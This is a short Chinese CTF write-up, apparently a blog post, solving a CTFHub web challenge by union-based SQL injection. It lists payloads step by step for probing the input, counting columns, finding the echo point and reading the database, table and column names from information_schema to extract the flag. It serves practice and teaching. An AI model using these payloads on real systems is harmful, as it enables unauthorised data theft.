CTFHub_2017-赛客夏令营-Web-injection(常规sql注入)

启动靶场,显示如下

根据题目名与url中的GET传参判断应该为注入

1.判断为整形注入
输入'(单引号)        --无回显
输入1 or 1=1        --有回显

2.尝试查看列数,判断有2列
1 order by 2        --有回显
1 order by 3        --无回显

3.判断其回显点位
1111 union select 1,2    --回显2

4.查询当前数据库名
1111 union select 1,database()  --回显ctfhub

5.查询表名
1111 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfhub'   --回显flag,info

6.查询列名
1111 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'   --回显flag

7.查询flag列中的内容
id=1111 union select 1,flag from ctfhub.flag
posted @ 2022-02-24 09:07  zhengna  阅读(286)  评论(0编辑  收藏  举报